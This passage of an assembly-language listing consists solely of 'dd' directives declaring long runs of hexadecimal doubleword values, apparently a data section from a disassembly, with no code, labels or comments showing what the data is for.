		dd 6FA2357h, 0C4F915FCh, 64C2DE26h, 0A651E7C6h,	0A36C862Eh
		dd 91AF43Ah, 7EEB24DFh,	32DB37B5h, 2B045521h, 3B225D3Fh
		dd 0A603011Ch, 0FD002CB2h, 0CF0A5F2Dh, 0D80D8B7Ah, 271358E5h
		dd 0ED4D8D07h, 0F3A7F60Fh, 5F427AB3h, 0B71C572Ch, 8D569D38h
		dd 0C595F498h, 0B17C2E6Fh, 0ABFE7D40h, 92C7EDAAh, 67A6BDF4h
		dd 136A74F7h, 2A0FDD02h, 6D87B7B3h, 6288A4FAh, 0B54F6AD6h
		dd 0ABC70358h, 0CDDE8BD2h, 6E079BA7h, 0CB94C581h, 0EA5D8436h
		dd 581E6E47h, 0EC79C36Fh, 4921232Fh, 9B80B2A3h,	39002FE9h
		dd 0E068D50Ch, 71986BBAh, 8869D918h, 0F61A4657h, 35BE17D7h
		dd 5B5EC523h, 6D9FF5D5h, 0BC8840D9h, 9E12A9E4h,	973E762Ah
		dd 97BB0DDBh, 0F2DE296h, 0B10A51C6h, 0D1828A62h, 0C3CF819Eh
		dd 917D4B2Dh, 7803E37Eh, 615A08D8h, 0D6887D44h,	3E2D5B01h
		dd 77039F58h, 0FCFB8634h, 0BD6E94B6h, 0A99283CFh, 7C668C8h
		dd 0F10ED90Eh, 9ADFF00Ah, 0A11C5CD5h, 8A0C995Fh, 67FF18B4h
		dd 5CB84A53h, 0B9C7843Eh, 43B64096h, 2957229Ah,	0E8EDBA0Ch
		dd 9B797F1Eh, 0F3726C69h, 5830100Eh, 0EE992819h, 0D73C0DD7h
		dd 826D7E41h, 154A32A9h, 95FE768Fh, 0EE18D002h,	26FEED08h
		dd 302D4BF8h, 902FCED9h, 45C4DA28h, 787372F5h, 93ED847Eh
		dd 73214E1Fh, 87DCF7D0h, 0B4A02DFCh, 0E4C015EAh, 0DF00D638h
		dd 46213C4Dh, 1358E07Fh, 76907E3h, 477B3C5Bh, 2CEAF40Dh
		dd 334350F0h, 0E33FA2EDh, 89817E0Ah, 4AA543E9h,	5C61C6BDh
		dd 0F082FBEEh, 10510DBh, 0BE82ABD4h, 2DB61BD3h,	0B2C9DF16h
		dd 0A3066336h, 0B9F7DA81h, 5A51A355h, 1592BFF0h, 71AF7D71h
		dd 472FDF88h, 144B2029h, 9C001B8h, 0CDCF839Ch, 5F7F6C3Ch
		dd 0B1485183h, 34D09008h
		dd 8F7B7E4Bh, 651DDDA0h, 36907345h, 2BBFC937h, 556A1F8Dh
		dd 0A61BC7AFh, 0BA30EDDAh, 0CD68466Ch, 3EA08FE0h, 1A41C72Fh
		dd 0F244BB2Fh, 0A5EE7534h, 3B32ABD7h, 0CADCF732h, 2CDA5929h
		dd 0BE1BF9BBh, 0EF8DA289h, 4937D92h, 0A79266Ch,	500223C9h
		dd 66B6DDFDh, 92A41C82h, 84E80849h, 1E4627EEh, 0F70AAD2Eh
		dd 114F691Ah, 0B57C1CFEh, 0A171467Fh, 66F4B8FEh, 0C2C93629h
		dd 0F9BC52E1h, 0B3AFA423h, 701405Fh, 7507651Dh,	2BFD2FD8h
		dd 385BB9ABh, 22514939h, 0E637BD6Fh, 124310B7h,	4EC826F3h
		dd 0E3EA1496h, 31A56617h, 2C4F5842h, 1655AFEDh,	0A9818F22h
		dd 60F657E1h, 0FFE35A71h, 1459E22Ch, 0B35BD46h,	0CCBB02D6h
		dd 65C040A7h, 61F44469h, 0AA40B0BDh, 898D37ADh,	0E39C23D4h
		dd 67473F7Fh, 5E499DF9h, 0E234CBB8h, 0B93BE96Ah, 82863BACh
		dd 164DA047h, 1D3E4E6Fh, 72F4A92Bh, 912C7288h, 87F3A8C5h
		dd 6D15180Fh, 0E541BF57h, 9BBCBC7h, 0AFFF01B7h,	631F38C0h
		dd 6938A1DCh, 983E4539h, 7E3FA82h, 50873495h, 0CAA0CACCh
		dd 0A97C547Fh, 0FBB6F05Ah, 8D44D17Dh, 30969626h, 9DF7CE39h
		dd 0AAD0AC9h, 0F9A3654Ah, 33EA4096h, 5A12F346h,	6DFB5B2Bh
		dd 86524E82h, 0A8F2464Bh, 95E7FCCFh, 96A1B5CFh,	406230E7h
		dd 2D8F99FEh, 0A96E7A31h, 9D6E3146h, 8045E8EBh,	0EFBE90A0h
		dd 777F8851h, 5AAF9074h, 0A0EF7513h, 0AEA1EA55h, 30C3FF50h
		dd 0E0225A68h, 9CE35AEFh, 701E5EC5h, 5B35C965h,	69974D3h
		dd 0CBAADAA4h, 6D408807h, 6BEB02F1h, 0FB596AC5h, 6CD16A6Fh
		dd 7BE99635h, 519EA5A6h, 3CCA2A5Bh, 0C4AB02F6h,	7A68BCB1h
		dd 6BF1E099h, 556B721h,	0BE390794h, 43CB037Bh, 394B7871h
		dd 0B171FEC7h, 34E646EDh, 0F3478EC7h, 0F1E4C9DDh, 0BC4AEEF7h
		dd 0A4FE345Eh, 3068902Eh, 7DFE2708h, 0E9B678C9h, 668CE1Ch
		dd 776E50BEh, 77B068B1h, 52640163h, 0F71184B6h,	0B2B5FBACh
		dd 1BE74939h, 2908D625h, 0F2F15870h, 4387DBEEh,	75665C9Dh
		dd 72BFB62Dh, 0B148800Dh, 0C6D05AA9h, 0DD186A2Ah, 98D289C7h
		dd 0CDFDA1E9h, 42656CE6h, 440E29ADh, 37FD5051h,	572B9A0Bh
		dd 0F233F687h, 178D62A7h, 3DFDFD1Eh, 822E7FBAh,	4D5C4964h
		dd 0D31DED74h, 0AF0148Eh, 0B5532C4Dh, 0E373AD97h, 720E1453h
		dd 2AEF2BDFh, 0F926C6B2h, 0D3ED3750h, 0B0C23A99h, 82037502h
		dd 0E3250943h, 4B8DDA46h, 40581EDDh, 0B5045712h, 0D5B427B3h
		dd 18C95C52h, 3CC20766h, 0CFF84CC1h, 0EDF15491h, 98EC2F60h
		dd 0A75ED99Eh, 0D08249A8h, 0C74F6405h, 4D4BCF70h, 15B28A02h
		dd 0A444A4F7h, 221E2C1Ch, 2C4A20D4h, 0F79E89FBh, 0C9F8C193h
		dd 3CC5C8ADh, 0B2B2857Ah, 8C9F5E95h, 3FC08C65h,	0C0004834h
		dd 0E89EC83h, 9F7FB1A9h, 9C08E045h, 0F3CE0DC4h,	0C1664BAEh
		dd 0E5A0F72Fh, 0BEE25416h, 0C8C9664Dh, 0A1FD0073h, 580626B6h
		dd 4F123C36h, 0B0711864h, 0D66A6681h, 999EE6C2h, 7C5786A6h
		dd 2F3D36B8h, 7DD3A28Fh, 2023B458h, 83654213h, 0A5BE1C76h
		dd 4E3568EEh, 4E063FDDh, 0B77F4DC4h, 5DEB9856h,	3128FD97h
		dd 0B9A07227h, 0AC73FA5Dh, 25BB50C7h, 0CB7C02E6h, 0A3F4C948h
		dd 0FA7F5542h, 0CB53EB0Dh, 6492E734h, 614587E8h, 0BC55F037h
		dd 0ADE12E25h, 0F2CFD7Fh, 0A259FF08h, 62A5D945h, 0B62E9BA9h
		dd 1E86D3B2h, 4B93D01Eh, 0C650E55Fh, 6C8D2C5Fh,	1983DB4Ah
		dd 0B52BFD5Ah, 268F8973h, 6B851551h, 42D96ABFh,	35202EFh
		dd 35F53959h, 0A43CD908h, 0E910779Ch, 37CEB78Dh, 0D4B28B8Bh
		dd 0F9B6AA7h, 1646C2A4h, 77809D85h, 0A511B837h,	5545138Dh
		dd 8EC0B8Fh, 45F6A2DDh,	0C41427E0h, 375B3E87h, 0B0E75700h
		dd 0B4376D19h, 847CD790h, 32871A7h, 8266F304h, 6919A5Ah
		dd 0AB57999Ah, 5FD6DB34h, 0CE14E5BEh, 7355EDFBh, 0B2B5AED9h
		dd 8E089DCBh, 0E9B66C6h, 0C2CE77CFh, 0FFB1EB74h, 4622FD92h
		dd 0E6D756EAh, 41F62A9Ch, 0E886EEADh, 8ED36053h, 99EE3FABh
		dd 231E7E5Eh, 0B8FD54E3h, 292B1006h, 3DAC41B0h,	2C38F664h
		dd 0AECA18EFh, 0EE80A052h, 0CBA43935h, 65C0F533h, 13711BE7h
		dd 85CA6C5Fh, 0A4B61C8Eh, 32C9AD72h, 8A9E5D59h,	8C7FD6F3h
		dd 0D0D5749Ah, 0F0079DC4h, 0BDC8219h, 8A02D763h, 750146CBh
		dd 540940A7h, 0CDF04517h, 81E74F5Eh, 0CB4DDB1Dh, 0AC95A945h
		dd 0B26115B6h, 7F78C545h, 0BCF5C12Eh, 0F0DD4463h, 0DA3D2DA5h
		dd 0E024E1DEh, 0D6AAB0BFh, 2C61D589h, 0D540E1F4h, 6AECAAD9h
		dd 0A7C0C0D8h, 7F14967Bh, 0C0131290h, 3D9F8BB5h, 537B95E0h
		dd 5839778h, 4957B4F1h,	1668C06Ch, 50090755h, 9A1E96B1h
		dd 0B9A438CCh, 66CCED1Fh, 0DFEFC349h, 646E541Fh, 34A56C91h
		dd 0FBF546D3h, 0C9852CF0h, 0E24F1F35h, 0E5EA6F8Fh, 5A6804C4h
		dd 0A7E16B32h, 0E334924Ah, 0F9F771F5h, 0C44BFE49h, 0E216BC89h
		dd 78B98775h, 736EE595h, 4329054Bh, 0BD9D6BEFh,	0DE15255Ch
		dd 89F2DFD2h, 25AA4C41h, 0B5BB3E4Eh, 0C5E9593Ch, 26255EB5h
		dd 0ACBD90D8h, 0CBA43D27h, 204D9EA3h, 0E1E796D0h, 1BC32894h
		dd 96A65931h, 5FC86790h, 0D245033Ch, 2B6C710Dh,	5E2FF97Eh
		dd 0C5891AC6h, 6BACBCBh, 8DF59510h, 9C484E0Eh, 0CAEF4AE2h
		dd 489861A5h, 0D1A2C6Ah, 1C7923E2h, 92033D5Ah, 0DE8090D8h
		dd 0AFE9C5D6h, 6D2F87CBh, 0C87AC012h, 0D1DD2C3Ch, 0D6E20073h
		dd 229F89D3h, 34BEEF4h,	26D10DF7h, 3E98BDD9h, 1DDB98A8h
		dd 8BBF12BEh, 5501C099h, 0B1454F16h, 7EEBC6D8h,	6A30BB9Fh
		dd 0B9903C74h, 703CCA32h, 3C48DCC5h, 0F0312DD7h, 8EAC8A0Eh
		dd 7AF6CE18h, 0B3EA3F87h, 30EA23E3h, 0AAECF496h, 0B8E10920h
		dd 9ABD102Ch, 849EDB7Bh, 3BA2B6Fh, 499414F0h, 0E6B51770h
		dd 6FB879BAh, 83726EEh,	0B492F758h, 0A22C9FE3h,	0AA68A00h
		dd 0AAD58A9Eh, 79D139D0h, 0EEA9210h, 0F8EDBD8Dh, 707A2197h
		dd 0A320EE06h, 0D46CF702h, 0D5F2ED3Fh, 50E232F7h, 68EC8FD9h
		dd 486EB8CDh, 792EFE5Dh, 169758CFh, 43CF7139h, 0D2A7DC8Ah
		dd 0B2CC7DDFh, 2A9EE7EDh, 0C6AF1694h, 0BBE468ECh, 9FB18393h
		dd 39AAB093h, 852576E8h, 6149C5C8h, 0C45BAECBh,	7C0C6EA3h
		dd 94DF920h, 55BF791Eh,	9642DC24h, 1BF3D8AEh, 0D1E75DCAh
		dd 0E1FFA2AFh, 43FF6232h, 0B30649DAh, 32990656h, 0E6374871h
		dd 9BB2E08Eh, 0DA46194Ch, 0BB7E3EACh, 51B9CB02h, 7916363Bh
		dd 7A70B150h, 567E5136h, 8108918Dh, 1032D93Dh, 4D913926h
		dd 2091953Dh, 73F269EFh, 1EF24A80h, 580AB034h, 0DF7DAD77h
		dd 69B495BEh, 125E2920h, 0AD67E795h, 2EB9E2BAh,	1FFDECD7h
		dd 4709FEB6h, 640C3D4Ch, 0A063DB63h, 71350729h,	0A3EA6D8Dh
		dd 0BEF43503h, 0D355F947h, 0CB1CAD63h, 0DC45CA74h, 0BFB90F72h
		dd 0F6C06C52h, 0B8069B65h, 48114015h, 7B02AAEEh, 4586F006h
		dd 0E1A1AFC4h, 0A974EB5Bh, 0DA3A89F5h, 212DC40Fh, 0BBBDCA9Dh
		dd 5457E747h, 100690AAh, 349BB75Bh, 273AC4F2h, 87371DD7h
		dd 6F1527CDh, 0C59C2D5Eh, 3C5864E5h, 84A6C770h,	0EF55B032h
		dd 663A102h, 21BEB8B7h,	1F15869h, 6C3CCCB2h, 909BB384h
		dd 8D1025FDh, 4FDE1070h, 1840D5E3h, 0A757365Eh,	40E54956h
		dd 7005C0F4h, 5F9949B0h, 2F274270h, 213D4711h, 0DAA864ADh
		dd 0C8421D00h, 64122EDCh, 99C5CD58h, 868EB5F9h,	7A57A18Fh
		dd 0DFCE23B9h, 81081E42h, 0D7DCC468h, 0C88E4C8Fh, 14BEC3AFh
		dd 5115FC2h, 287A610Ch
		dd 44276DC5h, 8504C566h, 34AC096Eh, 0C4E165EFh,	6A98196Ch
		dd 69145B75h, 0D3DE414h, 88291B7Fh, 962EE54Ch, 0A28513D8h
		dd 0AB306F20h, 0FE76AB76h, 0CB3E3F2Fh, 0AB837BA9h, 235760ECh
		dd 716F412Dh, 0A70154EDh, 93CF9CDFh, 0A20D0D9Ah, 0C4E99B3Dh
		dd 2D80A7CEh, 0C3AC5F58h, 6F2D441Ah, 23E928EFh,	0A7028CD5h
		dd 0A9995113h, 0CBB4298Bh, 4BCA3D3Eh, 37ADFCF0h, 0B184AE39h
		dd 31A3D689h, 0A2C8AA13h, 4FE31BD8h, 0AEEC67BCh, 9C2A5C68h
		dd 0C92D76CFh, 0F42196E9h, 0F0256E79h, 1CFAC4A7h, 0EAFB8898h
		dd 960145DBh, 0EFD958F0h, 78F958EFh, 4E11D2B9h,	0C100ED28h
		dd 7C11AA2Fh, 0BC64ACC0h, 7DB52C00h, 0F4829DD9h, 43862873h
		dd 686A5407h, 706E6E51h, 51102563h, 61F5EE03h, 9E9FA053h
		dd 0BE67FEBCh, 7A565014h, 7E141D02h, 2DE754C9h,	0C78AB1B4h
		dd 41D7AD72h, 1FB6CC6Fh, 239D2948h, 105F384Fh, 0B427721Dh
		dd 0E52BC456h, 4CEFCF7Eh, 0D9617AA2h, 97A78DEEh, 0D55F84ACh
		dd 5869676Bh, 7A4B1C7Bh, 0AC3852EFh, 4F73EB2Ch,	3EB6A47h
		dd 0AF4C117Ah, 864DAF83h, 0A1738A4Ch, 1B53A957h, 0C3EDDA78h
		dd 50AE2591h, 6D441046h, 0C16F8875h, 6B387C12h,	8D88DAFFh
		dd 53397BF9h, 0D7A9C73Ah, 0F8BDF34h, 5B7D31C2h,	0D568269Dh
		dd 0CB4911E8h, 289142A3h, 0D306790Dh, 0A9FE595h, 0F03C5CF6h
		dd 53CEA7CEh, 3B594FE9h, 3694EEC4h, 693EA411h, 5281833Ch
		dd 0F0558AE1h, 87A495F3h, 9C9AB87Dh, 0B1E0387Eh, 6709D521h
		dd 78AE379Ch, 0F98B46Bh, 122F6522h, 3FFC9813h, 511DC5D1h
		dd 4D264935h, 5A7F2AF4h, 0FE2CA338h, 0AADF5489h, 0F1174FF2h
		dd 6B9AAF7Fh, 51249009h, 7BEB2C01h, 1F2FB433h, 7C8E5E21h
		dd 8D3BD6BBh, 3535ABEAh, 8FE4443Eh, 0FFA2D2B8h,	48D71A83h
		dd 0E37E4B6Eh, 0F356135Bh, 0E8EBF514h, 3CBFFF96h, 0EEB44457h
		dd 0C37F5F36h, 6FE68653h, 4D987017h, 22DD07D3h,	0DEBDCB16h
		dd 0D15A4C27h, 0D72E2A99h, 0E27760DBh, 0E44ACFEFh, 0B8ADB632h
		dd 0E4CCC2B7h, 0A23FE85h, 4D57F647h, 246FEA77h,	0BFC58EE5h
		dd 35549B03h, 0C3416F98h, 4EC5DF91h, 0E29BD385h, 7F200BFAh
		dd 0C362D8AFh, 0E34DED1Bh, 2C4C1AD1h, 2FE2138Dh, 20F54A65h
		dd 0A8B65AC7h, 0D8ED6ED6h, 0B7E48B9Eh, 0E23EA760h, 7365701h
		dd 0F8002C15h, 3C5F9839h, 0EBD56421h, 4A6414Bh,	0BE11C64Bh
		dd 7372C5ECh, 787EB9EDh, 85586C6Eh, 3100447Ah, 8A29478Fh
		dd 0A205003Bh, 93CCC368h, 33DF103Ch, 3A5145D1h,	5D54D5BEh
		dd 0BDF83FB4h, 4C4353Ch, 3FE51B01h, 0B212CCFAh,	4BC6A2DFh
		dd 5BE68E04h, 0A4632739h, 57D1B4FCh, 6DFFB6C1h,	84A9F845h
		dd 0BC111C8Dh, 81073FB1h, 31F5AA1h, 0BE0D9B56h,	9EFD1276h
		dd 0FD78EC88h, 8772310h, 605F7AE5h, 30DBC4D9h, 2CECA5B1h
		dd 21D78A3h, 9D216B99h,	0EC8BA17Ch, 0DBEDEC96h,	0B987D82Ah
		dd 0C11A6E6Fh, 615BA85Eh, 43A8EF24h, 0B0DFCEFDh, 846F6E7Eh
		dd 6A1A9551h, 0C31E78EAh, 0A1B4C171h, 0BFE2FD66h, 6140D8DEh
		dd 32471435h, 602A1CAAh, 72F18054h, 2F17878Bh, 0B7B73EC7h
		dd 7BCA94E0h, 53D5E6F1h, 0EA120242h, 0DE4A9398h, 0BB4926DBh
		dd 0C7A88631h, 481C9F88h, 5574B8A7h, 0AD446DCAh, 3F15C4C1h
		dd 24BFDBA9h, 3CD56456h, 2B3388B5h, 0BB557BF3h,	0A36016F2h
		dd 0F4C0843Ch, 354F5711h, 383C41C4h, 127FA379h,	0A0933F10h
		dd 7E964DA8h, 0DEB4EF28h, 65C9D5C3h, 0F85DD53Fh, 27377EE9h
		dd 4815809h, 3B13F48Ch,	0B4E6C9FAh, 831DB200h, 8F6A7500h
		dd 0E1035552h, 1502FB83h, 7009DB80h, 7AA2AB71h,	0CBDA5F72h
		dd 7EC7BA02h, 75CDB1h, 452C58F8h, 9BFD40DCh, 330898B8h
		dd 0E70E6EEEh, 73CDF9B6h, 0F6615D04h, 7DDB8F03h, 0B3E25498h
		dd 400FC8B1h, 601E5E2Eh, 0E3C23F14h, 0BA7F9028h, 22DE2CE6h
		dd 0FB706013h, 70AF1761h, 4AA52C42h, 4EB4A6F7h,	0BCEA7E4Eh
		dd 0BA6389C6h, 55B7D5BCh, 4EFC32E7h, 95261F51h,	0C09E3DEEh
		dd 76AFDF5Ah, 46D2696Bh, 0A63D678Dh, 793CB44Bh,	0A88C9798h
		dd 86611F95h, 0D20F3ED1h, 0BEB59A95h, 0C348BCA7h, 36DED57h
		dd 0B6C574BBh, 64325766h, 0FA4AABFBh, 80B2F7Ch,	0AC60FF01h
		dd 93D56557h, 965D04E7h, 5455BB8Fh, 0F7AD857Ch,	0BF54CC48h
		dd 0CD1BB867h, 57F71A4Ch, 9B4B85h, 28545B76h, 0D0611DEDh
		dd 0C886F9A5h, 64E7E95Ch, 0C1D151BCh, 5B622ABDh, 716620A1h
		dd 1A6CBC94h, 0C5458FF6h, 98404491h, 53F9D8F9h,	931E359Dh
		dd 7DD68829h, 0F2B480FAh, 0EA293CCh, 353D94E9h,	501B15C6h
		dd 0D1AEB0F5h, 480F0830h, 178A2012h, 87CB644Ah,	116B41F5h
		dd 0D86BE45Dh, 87C22396h, 27E1BD52h, 36FA862Ch,	0DC6094C0h
		dd 878A7A6Ch, 4A4CA269h, 0C794EBF9h, 16FA7EADh,	80CBA85Eh
		dd 54E0EF24h, 0ACDC77FFh, 3754E593h, 0BBFBA3C5h, 43692E16h
		dd 3D670A58h, 51805FA9h, 861CF3ACh, 67E03863h, 0B0BEF5DFh
		dd 370B6FD2h, 2A802DFAh, 2CB6D25Bh, 2AFA69AFh, 4351B59Eh
		dd 2A7336E5h, 0CB5925Dh, 0AB493AA6h, 0E40B7235h, 0CB415E0Eh
		dd 99344017h, 0DDBEEEE0h, 0D6B581CEh, 115F9720h, 0B7D5249Bh
		dd 0FE4062EFh, 0A505A156h, 415B47F6h, 0C284CEEEh, 4785686Ah
		dd 0C4A68D33h, 0B39EA7C4h, 0AECDD27Eh, 0F98E117h, 2AED4238h
		dd 63C4D5D1h, 0D6DDED57h, 0C866910Fh, 41CAE9B7h, 0AED82F78h
		dd 620918F5h, 0A81C8F4Dh, 0D544888Dh, 643B96BFh, 1F42822Dh
		dd 4B5CD03h, 65E314B6h,	877DABD2h, 0D573D5A7h, 16126ABh
		dd 0AD92EE2Ch, 23B94FA1h, 300DED89h, 83EEE13h, 0D8C73C8Dh
		dd 5DDB2B49h, 0BB28C72Ch, 57E2A225h, 9BEAB1ECh,	0B6950ECEh
		dd 0E6E86745h, 35BACB7Dh, 99B5A81Eh, 1618D050h,	0FA9AFB5Fh
		dd 0B4259248h, 57197074h, 347C8233h, 0B363E29Fh, 0CA24150Eh
		dd 0FF8CCFE5h, 9EFD2C00h, 8EF8209Ah, 0F4D655Eh,	7274F897h
		dd 2F3B9EC1h, 0B1BAAB47h, 6EF45AA1h, 241F285Eh,	0C2C71377h
		dd 344B9AAAh, 4B0C45A6h, 9A363A54h, 0C68632AEh,	71B77D19h
		dd 1E4A4906h, 3843984Fh, 4941BC5h, 0FE126D92h, 77B270FBh
		dd 8952A67Fh, 56CC59BEh, 0F70A57CEh, 0D395216Fh, 22453816h
		dd 6651AE6Ah, 73BC2C0Ah, 0A16AD2A5h, 4497896Bh,	0B2FB58A5h
		dd 0AA17D8C8h, 9DA9EB23h, 0DC6062B1h, 0C7908FC9h, 0A0FA1CFAh
		dd 0E9CC0841h, 0C1CA0ECFh, 0EF8C16D9h, 0C742089Dh, 0F057023Fh
		dd 0D1D0A715h, 0B2785A09h, 857705EEh, 25062018h, 0CADEE05Dh
		dd 0E0F5CB8Dh, 0E973F83Fh, 18FE00ECh, 19A46C6Eh, 271578Ah
		dd 266C0B0Fh, 0DC385729h, 88EE29B5h, 26DBD4F0h,	1329B965h
		dd 98876E61h, 0CD531BCEh, 5F9F1C86h, 418CEF70h,	0E0AFD7F1h
		dd 0F5DCF378h, 87770208h, 2BB129B2h, 9C639FFFh,	9EAB33B8h
		dd 34EFE3ACh, 0EA9B8D32h, 0B20AA447h, 49FC25C2h, 0EAF95604h
		dd 0DCEC6F4Fh, 0A03FFF2Fh, 0E2EEA8DBh, 0EB545AFAh, 9BE27DB6h
		dd 0E3A39BA8h, 989599F4h, 0CACDE40Eh, 8FB348ECh, 9A8C047Fh
		dd 0F411E448h, 0BCD5F4A5h, 4414AB9Eh, 2209D9A0h, 5FC0A27Ah
		dd 0F82D94D9h, 8E14CE99h, 87CCEDDFh, 0E4CD0014h, 46255B58h
		dd 7291AD3Bh, 7894F86Eh, 5512F0A5h, 0A89469AFh,	0C8B847EBh
		dd 6EE901FAh, 15D51A69h, 8B1B957Bh, 0E1A09BF2h,	0DA4C8602h
		dd 8C9F9019h, 66FB9C05h, 1F66D5D3h, 0F2BBDC3Fh,	0C9D45F35h
		dd 2616B75h, 0D98AD123h, 835062Ch, 0CAD2935Bh, 1CAC5BDCh
		dd 35085DAAh, 0BB714ED0h
		dd 432F8121h, 11DBAFF5h, 8925137h, 0D0C4D5A9h, 2B01F171h
		dd 0F6166706h, 5CB6F78Bh, 45529877h, 5AAA7D71h,	4334F4C0h
		dd 15B16453h, 90101B33h, 0BA1CF237h, 0B3A9F57Dh, 0F76B7ADAh
		dd 0F5162174h, 1F356247h, 6AE97F4Fh, 0E5D7F7EEh, 0B48AF3DCh
		dd 1F48EBC3h, 7EAD9C8Dh, 0C33595AFh, 272FF99Bh,	246FD965h
		dd 7AB9EF42h, 40A79769h, 0FBC08EB2h, 0F3A6323h,	0C05C4DC9h
		dd 27D10921h, 5926B3EFh, 7503DB2h, 4CB40806h, 14DA497Ah
		dd 91DAB317h, 58AFC9B3h, 0ECAF88EAh, 0A6516C34h, 0A408F86Fh
		dd 0D8E059B5h, 7D7422EAh, 0CB11AFC8h, 6A917C2Fh, 0CEFA9D6Ch
		dd 452ADC89h, 4F2FD87Eh, 0F22D05AFh, 11363F59h,	77EF0E8Ch
		dd 0B171D73Ah, 0FE426800h, 1C97D86Ch, 0EF225250h, 977F089Dh
		dd 0F3B05466h, 0E56F3B55h, 0FF06F489h, 0B2E9D3D7h, 837874A7h
		dd 3CD92DAAh, 0E82B32D3h, 7620717Ch, 0F37B3090h, 0B46B0A82h
		dd 0E608A199h, 4965C0ADh, 2D859D94h, 9620C5BCh,	0FFCBD48Ah
		dd 9851AE5Bh, 174A1B9Ah, 8B6A667Fh, 0AF5CF88Ch,	0E1F0FF06h
		dd 965F56FBh, 0FEF4F379h, 0E9FF06CEh, 8EBEA929h, 207C8B3h
		dd 0F99CDA6Eh, 605CEC50h, 0BC862935h, 3486D96Bh, 459E9AABh
		dd 2A16BA3Ah, 35954CFBh, 0B15F7FE3h, 4473BC22h,	96C7F465h
		dd 0DBBE1EEBh, 0FBF64778h, 98624F86h, 23142201h, 1B4F337Bh
		dd 0BBC5578Ch, 1F15B7D8h, 5EE5F183h, 2C9E6037h,	4F9E821Ah
		dd 4955493Fh, 0BCA72C5Dh, 0B9914763h, 2E4CA430h, 0C9A54999h
		dd 9582AF66h, 0AC7420B0h, 1AAC30D2h, 52481793h,	0F0C13EC2h
		dd 0D9DF2DF8h, 0EFE251EBh, 2B4D290Dh, 0DAB0D484h, 3924E0AAh
		dd 0D7C67476h, 0DBD9BD04h, 20B317D9h, 0E3D2BC54h, 0C0975FFh
		dd 8C129C08h, 3D28D066h, 0CB88D97Ah, 0C6793C11h, 4524FDEh
		dd 702E13D6h, 0BD1C8338h, 70F2295Ah, 0D1AE45EDh, 6B2BA636h
		dd 0E86C9C78h, 72222B0h, 0A7ECFBB4h, 0E35EDCCAh, 643E8ABFh
		dd 0CD1F1B00h, 84FA954h, 979214CDh, 99EC031Eh, 745D5D90h
		dd 0CA5A3CF0h, 75891F71h, 1364A35Eh, 0F8DA6872h, 24F0B7EFh
		dd 1B8BED26h, 0B137D2D1h, 0FF795147h, 0A04048D2h, 6B883306h
		dd 8B5523F3h, 0A8F2BF6Fh, 0D26FF056h, 9AC1E47Bh, 0CBBFFA44h
		dd 0EEC19464h, 3F2B470Bh, 0FB01DA06h, 4200A5ECh, 7D27DE07h
		dd 6FFBEBBCh, 6124314Ch, 0AB397B22h, 0FF045647h, 3CCBAA00h
		dd 0AB611F5Fh, 535847BFh, 0E4F8F5A8h, 0C4CCCEE5h, 0BE6BA7CFh
		dd 7B09F96Ch, 3D99647Ah, 504BE8ACh, 0BB3D1059h,	6058D0EDh
		dd 0AAA9A717h, 6EE6CE58h, 47DC4D8Ch, 13C1FCBFh,	13598752h
		dd 396938Bh, 95D0E09Ch,	1EB301D6h, 3CC32D7Eh, 83BC746Ch
		dd 3B84D514h, 5C0EBF72h, 45AA4951h, 9C30A37Ah, 0A5F56B84h
		dd 0F7CCC744h, 9F876C18h, 9C292559h, 0E5CFC7DAh, 4C139133h
		dd 0D61EE401h, 3E45D55h, 318ED7C3h, 1AF948C7h, 620ABF94h
		dd 665FE538h, 0C0B99D85h, 4D952FDEh, 3DD09892h,	8195FE0Ch
		dd 7EF238B1h, 0D94BE7E9h, 7D3A0FFDh, 0CE3787AFh, 9EC0E016h
		dd 4D962262h, 38C6C1D4h, 9F3EFE9h, 4A1DFFF6h, 0EC1F2A2Bh
		dd 0ACF52444h, 5090036Fh, 0A77856C9h, 1B96C138h, 26F6DF02h
		dd 56E20D44h, 8EFB5FBBh, 0D8F5D689h, 57429D73h,	7A9CC87Fh
		dd 0D91B12CBh, 23DA1FB9h, 9598AC6h, 0A510C1BDh,	98742B5Eh
		dd 263CFB30h, 43701779h, 0D039B9B9h, 0DABCAF10h, 0D4CC6103h
		dd 0BC6739A7h, 0CAE34228h, 35C1D5D2h, 0B2CD5436h, 15E922AEh
		dd 2B0FB7F4h, 0ACD5C428h, 0FA776D79h, 5BFA3202h, 55381381h
		dd 28B1EC8Ch, 95B8B9FBh, 4C8200Fh, 8F21D853h, 359CE506h
		dd 510445DFh, 8370BD98h, 3CD9DFA5h, 9C3365D5h, 5E49C7DEh
		dd 0FDF84F10h, 332181B0h, 0CBAD29BFh, 8BFC3F2Ch, 166905C5h
		dd 0EFB7F8F8h, 0BD954F78h, 9296603h, 19A10B61h,	0E3632697h
		dd 0D249169h, 81A164B9h, 7C71EAFAh, 0C0D73BFFh,	2A797E4Dh
		dd 0D4D56D6Ah, 0BAD3629Ah, 46860343h, 5BAE1453h, 0A12B5B01h
		dd 0E796E38Bh, 44566C77h, 0F7F167DBh, 0C35277A7h, 0C7BFC56Bh
		dd 0DAF9DC07h, 90D40352h, 0DF47BF9Ch, 6A127C30h, 0E9AACFCFh
		dd 0C8945059h, 2DD6EB96h, 0B7AF76B7h, 7751D30Dh, 2C987426h
		dd 3F80A058h, 8BDA5A76h, 0E810C327h, 33424CA6h,	72C6AB20h
		dd 0CE90A8CEh, 1BB5AEECh, 0A7471B57h, 2BD1F9D4h, 8BFD7C2Ch
		dd 0BA9D4023h, 686545D2h, 8630804Dh, 2950E414h,	118795CCh
		dd 0AC805C52h, 0FB75B979h, 1680DCF7h, 0CE9CAD54h, 38B4404h
		dd 6B58E85Bh, 950D74B4h, 43E89119h, 0BE381FF8h,	9DEEB802h
		dd 1CDF82Ah, 4046B4Eh, 583B117Bh, 7CC9487Dh, 456B29C1h
		dd 81FF350Fh, 0BE613841h, 0DC53A908h, 243F7FFEh, 671225F4h
		dd 736E0213h, 7241E0FEh, 18F61F9Dh, 1AF56246h, 0B7EFF888h
		dd 31E56651h, 39B89592h, 0C212B048h, 0C7BE754Dh, 1A6677E9h
		dd 28592626h, 0C7835FE6h, 59129FABh, 0A297B6A2h, 0B3669057h
		dd 1CAD3FD2h, 0D2545307h, 0DA3FAE01h, 2BFA78B1h, 479E5A93h
		dd 2A840041h, 400B4E54h, 43C92A66h, 0AF2E59DDh,	0DA3A91D8h
		dd 3F40AAA7h, 3B172EB5h, 0B341A311h, 89456422h,	0B9094A4h
		dd 0DC514ADCh, 1892B69Eh, 0B6A49CE1h, 5CE8AC65h, 79B5237Ch
		dd 0E20CADBCh, 179DA712h, 73BDADCCh, 0DCFF6C2Eh, 0DFD0796Ah
